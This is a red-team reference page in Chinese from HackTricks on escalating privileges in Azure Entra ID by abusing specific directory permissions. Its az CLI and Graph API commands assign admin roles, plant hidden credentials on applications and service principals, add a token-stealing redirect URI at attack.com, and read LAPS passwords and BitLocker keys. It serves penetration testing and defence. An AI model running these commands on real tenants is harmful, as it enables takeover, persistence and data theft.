Az - EntraID Privesc

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Note

请注意,并非所有的细粒度权限 内置角色在 Entra ID 都可以用于自定义角色。

Roles

Role: Privileged Role Administrator

此角色包含必要的细粒度权限,以便能够将角色分配给主体并为角色提供更多权限。这两项操作都可能被滥用以提升权限。

  • 将角色分配给用户:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • 为角色添加更多权限:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

应用程序

microsoft.directory/applications/credentials/update

这允许攻击者添加凭据(密码或证书)到现有应用程序。如果该应用程序具有特权权限,攻击者可以作为该应用程序进行身份验证并获得这些权限。

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

这允许与 applications/credentials/update 相同的操作,但范围仅限于单目录应用程序。

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

通过将自己添加为所有者,攻击者可以操纵应用程序,包括凭据和权限。

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

攻击者可以向租户用户正在使用的应用程序添加重定向 URI,然后与他们共享使用新重定向 URL 的登录 URL,以窃取他们的令牌。请注意,如果用户已经登录到应用程序,则身份验证将自动进行,无需用户接受任何内容。

请注意,还可以更改应用程序请求的权限,以获取更多权限,但在这种情况下,用户需要再次接受请求所有权限的提示。

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Service Principals

microsoft.directory/servicePrincipals/credentials/update

这允许攻击者向现有服务主体添加凭据。如果服务主体具有提升的权限,攻击者可以假设这些权限。

az ad sp credential reset --id <sp-id> --append

Caution

新生成的密码不会出现在网络控制台中,因此这可能是一种隐秘的方式来保持对服务主体的持久性。
从API中可以通过以下命令找到它们: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

如果您收到错误消息 "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid.",这意味着无法修改SP的passwordCredentials属性,您需要先解锁它。为此,您需要一个权限(microsoft.directory/applications/allProperties/update),该权限允许您执行:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

这允许攻击者向现有的服务主体添加凭据。如果服务主体具有提升的权限,攻击者可以假设这些权限。

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

类似于应用程序,此权限允许向服务主体添加更多所有者。拥有服务主体可以控制其凭据和权限。

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

添加新所有者后,我尝试删除它,但API响应说不支持DELETE方法,即使这是删除所有者所需使用的方法。因此,现在无法删除所有者

microsoft.directory/servicePrincipals/disableenable

这些权限允许禁用和启用服务主体。攻击者可以利用此权限启用他以某种方式获得访问权限的服务主体,以提升权限。

请注意,对于此技术,攻击者需要更多权限才能接管已启用的服务主体。

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

这些权限允许创建和获取单点登录的凭据,这可能允许访问第三方应用程序。

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

应用程序权限提升

正如在 这篇文章 中所解释的,很常见的是发现默认应用程序被分配了类型为 ApplicationAPI 权限。类型为 Application 的 API 权限(在 Entra ID 控制台中称为)意味着该应用程序可以在没有用户上下文(用户未登录应用程序)的情况下访问 API,并且不需要 Entra ID 角色来允许它。因此,在每个 Entra ID 租户中发现 高权限应用程序 是非常常见的。

然后,如果攻击者拥有任何允许 更新应用程序凭据(密钥或证书) 的权限/角色,攻击者可以生成新的凭据,然后使用它来 以应用程序身份进行身份验证,获得该应用程序拥有的所有权限。

请注意,提到的博客分享了一些常见 Microsoft 默认应用程序的 API 权限,然而在此报告发布后不久,Microsoft 修复了此问题,现在不再可能以 Microsoft 应用程序身份登录。然而,仍然可以找到 可能被滥用的高权限自定义应用程序


microsoft.directory/groups/allProperties/update

此权限允许将用户添加到特权组,从而导致权限提升。

az ad group member add --group <GroupName> --member-id <UserId>

注意:此权限不包括 Entra ID 角色可分配组。

microsoft.directory/groups/owners/update

此权限允许成为组的所有者。组的所有者可以控制组成员资格和设置,可能会将权限提升到该组。

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

注意: 此权限不包括 Entra ID 角色可分配组。

microsoft.directory/groups/members/update

此权限允许向组中添加成员。攻击者可以将自己或恶意账户添加到特权组中,从而获得提升的访问权限。

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

此权限允许更新动态组中的成员规则。攻击者可以修改动态规则,以在没有明确添加的情况下将自己包含在特权组中。

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

注意:此权限不包括 Entra ID 角色可分配组。

动态组权限提升

用户可能通过修改自己的属性以被添加为动态组的成员来提升权限。有关更多信息,请查看:

Az - Dynamic Groups Privesc

用户

microsoft.directory/users/password/update

此权限允许重置非管理员用户的密码,从而允许潜在攻击者提升到其他用户的权限。此权限不能分配给自定义角色。

az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

此权限允许修改用户的属性。通常可以找到根据属性值添加用户的动态组,因此,此权限可能允许用户设置所需的属性值,以成为特定动态组的成员并提升权限。

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

条件访问策略与 MFA 绕过

配置错误的条件访问策略要求 MFA 可能会被绕过,请检查:

Az - Conditional Access Policies & MFA Bypass

设备

microsoft.directory/devices/registeredOwners/update

此权限允许攻击者将自己指定为设备的所有者,以获得对设备特定设置和数据的控制或访问。

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

此权限允许攻击者将其帐户与设备关联,以获得访问权限或绕过安全策略。

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

此权限允许攻击者读取 Microsoft Entra 加入设备的备份本地管理员帐户凭据的属性,包括密码。

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

此权限允许访问 BitLocker 密钥,这可能使攻击者能够解密驱动器,从而危及数据机密性。

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

其他有趣的权限 (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks